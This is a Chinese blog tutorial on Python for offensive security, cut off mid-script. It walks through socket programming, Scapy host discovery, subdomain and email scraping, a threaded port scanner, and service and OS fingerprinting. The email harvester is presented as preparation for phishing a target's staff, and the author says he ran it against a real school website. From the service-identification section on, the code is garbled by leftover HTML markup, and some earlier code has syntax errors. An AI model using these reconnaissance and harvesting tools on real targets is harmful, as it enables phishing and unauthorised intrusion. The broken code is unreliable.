Python安全攻防-从入门到入狱

居家隔离闲着无聊
思来想去决定写篇关于 【 P y t h o n 攻 防 】 \color{blue}{【Python攻防】} Python专栏
没办法-越越想学

Python安全攻防-从入门到入狱_第1张图片
网上有《Python安全攻防》
想深入学习的可以买
我没买–毕竟我喜欢白嫖

  • ⛰前言⛰
    • 国家网络安全法
  • 正文
    • 一、Socket网络编程
      • TCP
      • UDP
    • 二、Scapy网络嗅探
      • TCP发送数据
      • 基于ICMP协议的存活主机探测
      • 基于TCP/UDP的主机发现
      • 基于ARP协议的主机发现
    • 三、信息搜集
      • IP查询
      • Whois查询
      • 子域名挖掘
      • 邮件爬取
      • 端口扫描
      • 服务识别
      • 系统识别
      • 敏感目录探测
    • 四、网络空间搜索引擎
      • Zoomeye(钟馗之眼)
        • 调用ZoomEye(钟馗之眼)的API接口实现自动化信息搜集
      • Shodan
        • 调用Shodan的API接口实现自动化信息搜集
      • 小结
    • 五、漏洞检测与防御
      • Redis未授权访问漏洞
        • Python批量检测Redis未授权访问漏洞
        • 漏洞防御与检测
    • 六、数据加密
      • Python实现DES加解密
      • Python实现AES加解密
      • Python实现MD5加密
    • 七、身份认证
      • Python社工字典生成
      • Python后台弱口令爆破
      • SSH暴力破解
      • FTP暴力破解
    • 八、Fuzz测试
      • Python绕过安全狗
    • 九、Scapy进劫
      • ARP毒化
      • Dos
        • 数据链路层Dos-MAC泛洪攻击
        • 网络层Dos-死亡之Ping
        • 传输层Dos-SYN拒绝服务攻击
        • 应用层Dos-Slowloris攻击
        • 防御策略
    • 十、完结

⛰前言⛰

  • 随着近几年互联网的发展,Python在各行各业发挥着举足轻重的作用。除应用在科学计算、大数据处理等人们熟知的领域外,在信息安全领域中使用也异常广泛。这是因为对于渗透测试工程师来说Python语言不仅上手容易,而且还有大量丰富的开源库。通过Python可以帮助他们又好又快的完成一项任务,以少量的代码便可实现所需功能。从而借助Python打造更安全的。

国家网络安全法

敲重点中华人民共和国网络安全法建议倒背如流

正文

一、Socket网络编程

网络调试助手:https://pan.baidu.com/s/1Do-v8XMDaIYJsXRQok5RhQ 提取码:ya4g (便于测试)

  套接字(Socket)是计算机之间进行通信的一种约定。通过Socket,一台计算机可以接受其他计算机的数据,也可以向其他计算机发送数据。远程管理软件和黑客软件大多依赖于Socket来实现特定功能的,其包括两个部分:运行于服务器端称之为ServerSocket,运行于客户机端称之ClientSocket。

TCP

TCP是因特网中的传输层协议,使用三次握手协议建立连接。

Python安全攻防-从入门到入狱_第2张图片

TCP_Client.py

import socket


def main():
	# 创建TCP套接字
	tcp_client_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

	# 服务器地址
	sever_ip = input("请输入服务器ip:")
	sever_port = input("请输入服务器端口:")

	# 连接服务器(元组)
	tcp_client_socket.connect((sever_ip,int(sever_port)))

	# 输入发送的数据
	data = input("请输入要发送的数据:")

	# 发送数据
	tcp_client_socket.send(data.encode("utf-8"))

	#接收数据
	recv_data = tcp_client_socket.recv(1024)
	print("对方的回复:"recv_data.decode("utf-8"))

if __name__ == '__main__':
	main()

nc -lvp 8888 监听8888端口
(一次完整对话)
在这里插入图片描述
TCP_Sever.py

import socket

def main():
    # 创建套接字
    tcp_server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    # 绑定本地IP和端口
    tcp_server_socket.bind(("192.168.12.1",8888))

    # 被动 listen
    tcp_server_socket.listen(128)

    while True:
        # 等待客户端信息
        print("等待客户端连接")
        client_socket,client_addr = tcp_server_socket.accept()
        print("客户端为:",client_addr)

        #接收对方发送数据
        recv_data = client_socket.recv(1024)
        print("接收到信息为:",recv_data.decode("utf-8"))

        #发送数据到客户端
        client_socket.send("Yasso".encode("utf-8"))
        client_socket.close()

if __name__ == "__main__":
    main()

Python安全攻防-从入门到入狱_第3张图片

UDP

UDP 为应用程序提供了一种无需建立连接就可以发送封装的 IP 数据包的方法。

Python安全攻防-从入门到入狱_第4张图片

UDP_Client_send.py

import socket
#创建udp套接字
udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
# 目标ip和端口
target_addr = ('192.168.12.128',8888)

#获取数据
data = input("请输入要发送的数据:")

#发送数据
udp_socket.sendto(data.encode('utf-8'),target_addr)

udp_socket.close()

UDP_Client_receive.py

import socket
#创建udp套接字
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

local_addr=('192.168.12.128',8888) 
#绑定ip(必须本地)和端口
udp_socket.bind(local_addr)

#等待接受对方发送的数据
recv_data = udp_socket.recvfrom(1024) #表示本次接受的最大字节数1024

# 显示接受的数据
print(recv_data[0].decode('utf-8'))
udp_socket.close()

liunx等待接受数据->win10发送数据->liunx成功接收数据
Python安全攻防-从入门到入狱_第5张图片
nc -ulp 8888 监听udp模式下的8888端口
在这里插入图片描述

私密聊天室

# UDP应用-私密聊天室(极简)
import socket


def send(chat_ip,chat_port):
	udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
	"""发送消息"""
	address = (chat_ip,int(chat_port))
	print(address)
	data = input("请输入发送的消息:")
	udp_socket.sendto(data.encode("utf-8"),address)


def receive():
	"""接收消息"""
	udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
	# 绑定本地IP和端口
	udp_socket.bind(("192.168.12.1",8888))
	recv_data = udp_socket.recvfrom(1024)
	print(recv_data[0].decode('utf-8'))


def main():
	chat_ip = input("请输入您聊天对方IP地址:")
	chat_port = input("请输入您聊天对方端口:")

	# 循环调用
	while True:
		print("++++++欢迎进入私密聊天室++++++")
		print("0:发送消息")
		print("1:接收消息")
		print("2:退出聊天")
		function = input("请输入您要用的模块")

		if function == "0":
			send(chat_ip,chat_port)
		elif function == "1":
			receive()
		elif function == "2":
			break
		else:
			print("输入有误,请重新输入")



if __name__ == '__main__':
	main()

Python安全攻防-从入门到入狱_第6张图片

二、Scapy网络嗅探

Scapy是一个可以让用户发送、侦听和解析并伪装网络报文的Python程序。这些功能可以用于制作侦测、扫描和攻击网络的工具

pip install scapy 安装scapy
pip install ipython安装交互式shell

  Scapy是一个强大的交互式包操作程序。它能够伪造或解码大量协议的数据包,在网络上发送它们,捕获它们,匹配请求和响应,等等。Scapy可以轻松地处理大多数经典任务,如扫描、跟踪、探测、单元测试、攻击或网络发现。它可以代替hping、arpsoof、arp-sk、arping、p0f甚至Nmap、tcpdump和tshark的某些部分

TCP发送数据

TCPsend.py

# -- coding: utf-8 --
import time
import threading
import sys
from scapy.all import *
 
 
# 数据包应用层数据部分
data = 'flag{flag_is_not_here}'

# src:源地址 、sport:源端口、dst:目标地址、dport:目标端口
pkt = IP(src='192.168.12.128', dst='192.168.12.166') / TCP(sport=4444, dport=6666) / data

# 间隔一秒发送一次   总共发送5次   发送网卡口(iface):eth0
send(pkt, inter=1, count=5, iface="eth0")

Python安全攻防-从入门到入狱_第7张图片

基于ICMP协议的存活主机探测

  ICMP协议是一种面向无连接的协议,用于传输出错报告控制信息。它是一个非常重要的协议,它对于网络安全具有极其重要的意义。 属于网络层协议,主要用于在主机与路由器之间传递控制信息,包括报告错误、交换受限控制和状态信息等。当遇到IP数据无法访问目标、IP路由器无法按当前的传输速率转发数据包等情况时,会自动发送ICMP消息。

判断是否为活跃主机,只需要向其发送一个ICMP请求,如果这台主机处于活跃状态,那么它在收到这个请求之后就会给出一个回应。

# -- coding: utf-8 --
from scapy.all import *
# 构造IP包头构造ICMP包头加载发送数据包函数

for i in range(1,254):      # 整个个网段
     ip="192.168.12."+str(i)    # 设置IP地址
     pkt=IP(dst=ip,src="192.168.12.128")/ICMP(type="Echo-request") #ICMP包的类型为Echo request——回显请求(Ping请求)
     rep=sr1(pkt,timeout=1,verbose=False) # 发送和接受数据包,超时时间为1秒,设置无过程回显。
     # 如果该数据包有回应则输出
     if rep:
        print("The  " + rep[IP].src + "  is live")

Python安全攻防-从入门到入狱_第8张图片

基于TCP/UDP的主机发现

基于TCP、UDP的主机发现属于四层主机发现是一个位于传输层的协议。可以用来探测远程主机存活、端口开放、服务类型以及系统类型等信息,相比于三层主机发现更为可靠用途更广.

TCP
工作原理主要依据目标主机响应数据包中flags字段,如果flags字段有值,则表示主机存活,该字段通常包括SYN、FIN、ACK、PSH、RST、URG六种类型。SYN表示建立连接,FIN表示关闭连接,ACK表示应答,PSH表示包含DATA数据传输,RST表示连接重置,URG表示紧急指针。

# -- coding: utf-8 --
from scapy.all import *

for i in range(1,254):      # 整个个网段
     ip="192.168.12."+str(i)    # 设置IP地址
     pkt=IP(dst=ip)/TCP(flags="A",dport=4444) #响应数据包中flags值判断主机是否存活
     rep=sr1(pkt,timeout=1,verbose=False) # 发送和接受数据包,超时时间为1秒,设置无过程回显。
     if rep:
# 如果该数据包有相应则输出
        print("The  " + rep[IP].src + "  is live")

UDP
UDP是向目标主机一个没有开放的端口发送数据,目标主机会返回一个目的端口不可达的ICMP报文,以此来判断主机是否在线。如果主机不在线,或者目标端口开放,UDP探测是不会收到响应包的。

# -- coding: utf-8 --
from scapy.all import *

for i in range(1,254):      # 整个个网段
     ip="192.168.12."+str(i)    # 设置IP地址
     pkt=IP(dst=ip)/UDP(dport=6666) 
     rep=sr1(pkt,timeout=1,verbose=False) # 发送和接受数据包,超时时间为1秒,设置无过程回显。
     if rep:
# 如果该数据包有相应则输出
        print("The  " + rep[IP].src + "  is live")

wireshark拦截
Python安全攻防-从入门到入狱_第9张图片

基于ARP协议的主机发现

地址解析协议,即ARP,是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。

ARP
对以太网内的每个主机都进行ARP请求。若主机存活,则会响应我们的ARP请求,否则不会响应.因为ARP涉及网络层和数据链路层所以需要使用Scapy中的Ether和ARP。

# -- coding: utf-8 --
from scapy.all import *

for i in range(1,254):      # 整个个网段
     ip_list=[]
     ip="192.168.12."+str(i)    # 设置IP地址
     # 发送ARP包
     # 二层发包,需要添加以太网头部,所以要写成Ether/ARP
     # 因为最底层用到了二层,所以要用srp()发包
     ans=srp(Ether(dst='FF:FF:FF:FF:FF:FF')/ARP(op=1,pdst=ip,hwdst='00:00:00:00:00:00'),timeout=1,verbose=False)
     if ans[0].res:
        print("The  "+ip+"  is live")

Python安全攻防-从入门到入狱_第10张图片

三、信息搜集

IP查询

IP查询是通过当前所获取到的URL去查询对应IP地址的过程。可以应用Socket库函数中的gethostbyname()获取域名所对应的IP值°

import socket
domain = input("请输入要查询的域名:")
ip = socket.gethostbyname(domain)
print("IP地址为:",ip)

在这里插入图片描述

Whois查询

whois模块查询域名www.baidu.com的注册信息

pip install python-whois 安装模块

from whois import whois
data = whois('www.baidu.com')
print(data)

Python安全攻防-从入门到入狱_第11张图片

子域名挖掘

域名可以分为顶级域名、—级域名、二级域名等。子域名(subdomam)是顶级域名(一级域名或父域名)的下—级。例如mail.example.com和calendar.example.com是example.com的两个子域,而example.com则是顶级域.com的子域。在测试过程中测试目标主站时如果未发现任何相关漏洞,此时通常会考虑⛏︎目标系统的子域名。子域名⛏︎方法有很多种,例如,搜索引擎、子域名破解、字典查询等。

import requests                      
from bs4 import BeautifulSoup  
from urllib.parse import urlparse   
import sys 

def bing_search(site,pages):
    Subdomain = []
    headers = {         #HTTP Headers是HTTP请求和相应的核心,它承载了关于客户端浏览器,请求页面,服务器等相关的信息
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36',   #是HTTP协议中的一部分,属于头域的组成部分,是一种向访问网站提供你所使用的浏览器类型、操作系统及版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',#属于请求报头,代表发送端(客户端)希望接受的数据类型
        'Referer': "https://cn.bing.com",  #表示一个来源
    }
    for i in range(1,int(pages)+1):
        url = "https://cn.bing.com/search?q=site%3a"+site+"&go=Search&qs=ds&first="+ str((int(i)-1)*10) +"&FORM=PERE"
        html = requests.get(url,headers=headers)     #获取HTML网页,对应HTTP的GET
        soup = BeautifulSoup(html.content,'html.parser')
        job_bt = soup.findAll('h2')     #返回一个包含HTML文档标题标签h2的列表
        for i in job_bt:
            link = i.a.get('href')
            domain = str(urlparse(link).scheme + "://" +urlparse(link).netloc)  #储存子域名
            if domain in Subdomain:
                pass
            else:
                Subdomain.append(domain)
                print(domain)
if __name__ == '__main__':
    if len(sys.argv) == 3:
        site = sys.argv[1]
        page = sys.argv[2]
    else:
        print("usage: %s baidu.com 10" % sys.argv[0])         #输出帮助信息
        sys.exit(-1)
    Subdomain = bing_search(site,page)

python Subdomain.py baidu.com 20 数字20表示获取Ping引擎页数
Python安全攻防-从入门到入狱_第12张图片
力推️在线子域名查询️

邮件爬取

  在针对目标系统进行渗透的过程中,如果目标服务器安全性很高,通过服务器很难获取目标权限时,通常会采用社工的方式对目标服务进行进一步攻击。针对搜索界面的相关信息进行爬取、处理等操作之后。利用获得的账号批量发送,诱骗、欺诈目标用户或管理员进行账号登录或点击执行,进而获取目标系统的其权限。

import sys
import getopt
import requests
from bs4 import BeautifulSoup
import re

#主函数,传入用户输入的参数
def start(argv):
    url = ""
    pages = ""
    if len(sys.argv) < 2:
        print("-h 帮助信息;\n")
        sys.exit()
    #定义异常处理
    try:
        banner()
        opts,args = getopt.getopt(argv,"-u:-p:-h")
    except getopt.GetoptError:
        print('Error an argument!')
        sys.exit()
    for opt,arg in opts:
        if opt == "-u":
            url = arg
        elif opt == "-p":
            pages = arg
        elif opt == "-h":
            print(usage())

    launcher(url,pages)

#banner信息
def banner():
    print('\033[0;31;42m 爬虫不控频,亲人两行泪 \033[0m')

#使用规则
def usage():
    print('-h: --help 帮助;')
    print('-u: --url 域名;')
    print('-p: --pages 页数;')
    print('eg: python -u "www.baidu.com" -p 100' + '\n')
    sys.exit()

#漏洞回调函数
def launcher(url,pages):   #调用bing_search()和baidu_search()函数并且将bing爬到的和baidu爬到的合并去重
    email_num = []
    key_words = ['email','mail','mailbox','邮件','邮箱','postbox']
    for page in range(1,int(pages)+1):
        for key_word in key_words:
            bing_emails = bing_search(url,page,key_word)
            baidu_emails = baidu_search(url,page,key_word)
            sum_emails = bing_emails + baidu_emails
            for email in sum_emails:
                if email in email_num:
                    pass
                else:
                    print(email)
                    with open('data.txt','a+') as f:
                        f.write(email + '\n')
                    email_num.append(email)

#bingSearch
def bing_search(url,page,key_word): #绕过Bing搜索引擎反爬(校验referer和cookie)
    referer = "http://cn.bing.com/search?q=email+site%3abaidu.com&qs=n&sp=-1&pq=emailsite%3abaidu.com&first=1&FORM=PERE1"
    conn = requests.session()
    bing_url = "https://cn.bing.com/search?q="+key_word+"site%3a"+url+"&qs=n&sp=-1&pq="+key_word+"site%3a"+url+"&first="+str((page-1)*10)+"&FORM=PERE1"
    conn.get('http://cn.bing.com',headers=headers(referer))
    r = conn.get(bing_url,stream=True,headers=headers(referer),timeout=8)
    emails = search_email(r.text)
    return emails

#baiduSearch
def baidu_search(url,page,key_word):   #绕过百度搜索引擎的反爬(JS请求链)
    email_list = []
    emails = []
    referer = "https://www.baidu.com/s?wd=email+site%3Abaidu.com&pn=1"
    baidu_url = "https://www.baidu.com/s?wd="+key_word+"+site%3A"+url+"&pn="+str((page-1)*10)
    conn = requests.session()
    conn.get(referer,headers=headers(referer))
    r = conn.get(baidu_url, headers=headers(referer))
    soup = BeautifulSoup(r.text, 'lxml')
    tagh3 = soup.find_all('h3')
    for h3 in tagh3:
        href = h3.find('a').get('href')
        try:
            r = requests.get(href, headers=headers(referer),timeout=8)
            emails = search_email(r.text)
        except Exception as e:
            pass
        for email in emails:
            email_list.append(email)
    return email_list

def search_email(html):
    emails = re.findall(r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+",html,re.I)  #正则表达式获取邮箱号码
    return emails

def headers(referer):
    headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36',
               'Accept': '*/*',
               'Accept-Language':'en-US,en;q=0.5',
               'Accept-Encoding':'gzip,deflate',
               'Referer':referer}
    return headers

if __name__ == '__main__':
    #定义异常
    try:
        start(sys.argv[1:])
    except KeyboardInterrupt:
        print("interrupted by user,killing all threads...")

试了下某学校网站,爬到不少
溜了溜了
Python安全攻防-从入门到入狱_第13张图片

端口扫描

import socket
import threading

def main(target):
    print('开始扫描---')
    for port in range(1,65535):
        t = threading.Thread(target=hackport,args=(target,port))
        t.start()

def hackport(target,port):
    try:
        res = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        res.connect((target,port)) #双括号元组
        print("%s:%d 端口开放"%(target,port))
        res.close()
    except:
        pass

if __name__ == '__main__':
    target= input("请输入要扫描的IP:")
    main(target)
    print('***扫描完毕***')

内网靶机
Python安全攻防-从入门到入狱_第14张图片
nmap -sV -p- 192.168.12.134
Python安全攻防-从入门到入狱_第15张图片

服务识别

from optparse import OptionParser
import time
import socket
import os
import re

SIGNS = (
    # 协议 | 版本 | 关键字
    b'FTP|FTP|^220.*FTP',
    b'MySQL|MySQL|mysql_native_password',
    b'oracle-https|^220- ora',
    b'Telnet|Telnet|Telnet',
    b'Telnet|Telnet|^\r\n%connection closed by remote host!\x00$',
    b'VNC|VNC|^RFB',
    b'IMAP|IMAP|^\* OK.*?IMAP',
    b'POP|POP|^\+OK.*?',
    b'SMTP|SMTP|^220.*?SMTP',
    b'Kangle|Kangle|HTTP.*kangle',
    b'SMTP|SMTP|^554 SMTP',
    b'SSH|SSH|^SSH-',
    b'HTTPS|HTTPS|Location: https',
    b'HTTP|HTTP|HTTP/1.1',
    b'HTTP|HTTP|HTTP/1.0',
)
def regex(response, port):
    text = ""
    if re.search(b'502 Bad Gateway'</span><span class="token punctuation">,</span> response<span class="token punctuation">)</span><span class="token punctuation">:</span>
        proto <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token string">"Service failed to access!!"</span><span class="token punctuation">}</span>
    <span class="token keyword">for</span> pattern <span class="token keyword">in</span> SIGNS<span class="token punctuation">:</span>
        pattern <span class="token operator">=</span> pattern<span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">b'|'</span><span class="token punctuation">)</span>
        <span class="token keyword">if</span> re<span class="token punctuation">.</span>search<span class="token punctuation">(</span>pattern<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> response<span class="token punctuation">,</span> re<span class="token punctuation">.</span>IGNORECASE<span class="token punctuation">)</span><span class="token punctuation">:</span>
            proto <span class="token operator">=</span> <span class="token string">"["</span><span class="token operator">+</span>port<span class="token operator">+</span><span class="token string">"]"</span> <span class="token operator">+</span> <span class="token string">" open "</span> <span class="token operator">+</span> pattern<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span>
            <span class="token keyword">break</span>
        <span class="token keyword">else</span><span class="token punctuation">:</span>
            proto <span class="token operator">=</span> <span class="token string">"["</span><span class="token operator">+</span>port<span class="token operator">+</span><span class="token string">"]"</span> <span class="token operator">+</span> <span class="token string">" open "</span> <span class="token operator">+</span> <span class="token string">"Unrecognized"</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span>proto<span class="token punctuation">)</span>

<span class="token keyword">def</span> <span class="token function">request</span><span class="token punctuation">(</span>ip<span class="token punctuation">,</span>port<span class="token punctuation">)</span><span class="token punctuation">:</span>
    response <span class="token operator">=</span> <span class="token string">''</span>
    PROBE <span class="token operator">=</span> <span class="token string">'GET / HTTP/1.0\r\n\r\n'</span>
    sock <span class="token operator">=</span> socket<span class="token punctuation">.</span>socket<span class="token punctuation">(</span>socket<span class="token punctuation">.</span>AF_INET<span class="token punctuation">,</span> socket<span class="token punctuation">.</span>SOCK_STREAM<span class="token punctuation">)</span>
    sock<span class="token punctuation">.</span>settimeout<span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span>
    result <span class="token operator">=</span> sock<span class="token punctuation">.</span>connect_ex<span class="token punctuation">(</span><span class="token punctuation">(</span>ip<span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">(</span>port<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
    <span class="token keyword">if</span> result <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">:</span>
        <span class="token keyword">try</span><span class="token punctuation">:</span>
            sock<span class="token punctuation">.</span>sendall<span class="token punctuation">(</span>PROBE<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
            response <span class="token operator">=</span> sock<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">256</span><span class="token punctuation">)</span>
            <span class="token keyword">if</span> response<span class="token punctuation">:</span>
                regex<span class="token punctuation">(</span>response<span class="token punctuation">,</span> port<span class="token punctuation">)</span>
        <span class="token keyword">except</span> ConnectionResetError<span class="token punctuation">:</span>
            <span class="token keyword">pass</span>
    <span class="token keyword">else</span><span class="token punctuation">:</span>
        <span class="token keyword">pass</span>
    sock<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span>

<span class="token keyword">def</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
    parser <span class="token operator">=</span> OptionParser<span class="token punctuation">(</span><span class="token string">"Usage:%prog -i <target host> "</span><span class="token punctuation">)</span>   <span class="token comment"># 输出帮助信息</span>
    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-i'</span><span class="token punctuation">,</span><span class="token builtin">type</span><span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span>dest<span class="token operator">=</span><span class="token string">'IP'</span><span class="token punctuation">,</span><span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'specify target host'</span><span class="token punctuation">)</span>   <span class="token comment"># 获取ip地址参数</span>
    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-p'</span><span class="token punctuation">,</span> <span class="token builtin">type</span><span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span> dest<span class="token operator">=</span><span class="token string">'PORT'</span><span class="token punctuation">,</span> <span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'specify target host'</span><span class="token punctuation">)</span>  <span class="token comment"># 获取ip地址参数</span>
    options<span class="token punctuation">,</span>args <span class="token operator">=</span> parser<span class="token punctuation">.</span>parse_args<span class="token punctuation">(</span><span class="token punctuation">)</span>
    ip <span class="token operator">=</span> options<span class="token punctuation">.</span>IP
    port <span class="token operator">=</span> options<span class="token punctuation">.</span>PORT
    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"Scan report for "</span><span class="token operator">+</span>ip<span class="token operator">+</span><span class="token string">"\n"</span><span class="token punctuation">)</span>
    <span class="token keyword">for</span> line <span class="token keyword">in</span> port<span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">','</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
        request<span class="token punctuation">(</span>ip<span class="token punctuation">,</span>line<span class="token punctuation">)</span>
        time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">0.2</span><span class="token punctuation">)</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\nScan finished!....\n"</span><span class="token punctuation">)</span>

<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">"__main__"</span><span class="token punctuation">:</span>
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        main<span class="token punctuation">(</span><span class="token punctuation">)</span>
    <span class="token keyword">except</span> KeyboardInterrupt<span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"interrupted by user, killing all threads..."</span><span class="token punctuation">)</span>

</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/21d743bed12d40b8a5d44d98e6443622.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/21d743bed12d40b8a5d44d98e6443622.jpg" alt="Python安全攻防-从入门到入狱_第16张图片" width="650" height="275" style="border:1px solid black;"></a></p> 
  <h3>系统识别</h3> 
  <blockquote> 
   <p><strong>根据按照目标主机返回的响应数据包中的TTL值来判断操作系统类型的原理</strong></p> 
  </blockquote> 
  <pre><code class="prism language-python"><span class="token keyword">from</span> optparse <span class="token keyword">import</span> OptionParser
<span class="token keyword">import</span> os
<span class="token keyword">import</span> re

<span class="token keyword">def</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
    parser <span class="token operator">=</span> OptionParser<span class="token punctuation">(</span><span class="token string">"Usage:%prog -i <target host>"</span><span class="token punctuation">)</span>
    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-i'</span><span class="token punctuation">,</span> <span class="token builtin">type</span><span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span> dest<span class="token operator">=</span><span class="token string">'IP'</span><span class="token punctuation">,</span> <span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'specify target host'</span><span class="token punctuation">)</span>
    options<span class="token punctuation">,</span> args <span class="token operator">=</span> parser<span class="token punctuation">.</span>parse_args<span class="token punctuation">(</span><span class="token punctuation">)</span>
    ip <span class="token operator">=</span> options<span class="token punctuation">.</span>IP
    ttl_scan<span class="token punctuation">(</span>ip<span class="token punctuation">)</span>


<span class="token keyword">def</span> <span class="token function">ttl_scan</span><span class="token punctuation">(</span>ip<span class="token punctuation">)</span><span class="token punctuation">:</span>
    ttlstrmatch <span class="token operator">=</span> re<span class="token punctuation">.</span><span class="token builtin">compile</span><span class="token punctuation">(</span><span class="token string">r'ttl=\d+'</span><span class="token punctuation">)</span>  <span class="token comment">#正则匹配取出TTL值</span>
    ttlnummatch <span class="token operator">=</span> re<span class="token punctuation">.</span><span class="token builtin">compile</span><span class="token punctuation">(</span><span class="token string">r'\d+'</span><span class="token punctuation">)</span>
    result <span class="token operator">=</span> os<span class="token punctuation">.</span>popen<span class="token punctuation">(</span><span class="token string">"ping -c 1 "</span><span class="token operator">+</span>ip<span class="token punctuation">)</span>  <span class="token comment"># 调用os.popen()函数执行ping命令</span>
    res <span class="token operator">=</span> result<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span>
    <span class="token keyword">for</span> line <span class="token keyword">in</span> res<span class="token punctuation">.</span>splitlines<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
        result <span class="token operator">=</span> ttlstrmatch<span class="token punctuation">.</span>findall<span class="token punctuation">(</span>line<span class="token punctuation">)</span>
        <span class="token keyword">if</span> result<span class="token punctuation">:</span>
            ttl <span class="token operator">=</span> ttlnummatch<span class="token punctuation">.</span>findall<span class="token punctuation">(</span>result<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
            <span class="token keyword">if</span> <span class="token builtin">int</span><span class="token punctuation">(</span>ttl<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator"><=</span> <span class="token number">64</span><span class="token punctuation">:</span>              <span class="token comment"># ttl值小于等于64时,操作系统为linux系统</span>
                <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"%s is Linux/Unix"</span> <span class="token operator">%</span> ip<span class="token punctuation">)</span>
            <span class="token keyword">else</span><span class="token punctuation">:</span>                              <span class="token comment">#否则就是windows</span>
                <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"%s is Windows"</span> <span class="token operator">%</span> ip<span class="token punctuation">)</span>
            <span class="token keyword">break</span>
        <span class="token keyword">else</span><span class="token punctuation">:</span>
            <span class="token keyword">pass</span>


<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>
    main<span class="token punctuation">(</span><span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/5caf882e51984b9fbbfb588b6ca30965.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/5caf882e51984b9fbbfb588b6ca30965.jpg" alt="Python安全攻防-从入门到入狱_第17张图片" width="391" height="130" style="border:1px solid black;"></a></p> 
  <h3>敏感目录探测</h3> 
  <pre><code class="prism language-python"><span class="token comment">#-*- coding:utf-8 -*-</span>
<span class="token keyword">import</span> requests


headers <span class="token operator">=</span> <span class="token punctuation">{</span>
    <span class="token string">"User-Agent"</span><span class="token punctuation">:</span> <span class="token string">"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0"</span>
<span class="token punctuation">}</span>
url <span class="token operator">=</span> <span class="token builtin">input</span><span class="token punctuation">(</span><span class="token string">"url: "</span><span class="token punctuation">)</span>
txt <span class="token operator">=</span> <span class="token builtin">input</span><span class="token punctuation">(</span><span class="token string">'字典.txt'</span><span class="token punctuation">)</span>  <span class="token comment"># 同级目录下的字典</span>
url_list <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>
<span class="token keyword">if</span> txt <span class="token operator">==</span> <span class="token string">""</span><span class="token punctuation">:</span>
    txt <span class="token operator">=</span> <span class="token string">"字典.txt"</span>
<span class="token keyword">try</span><span class="token punctuation">:</span>
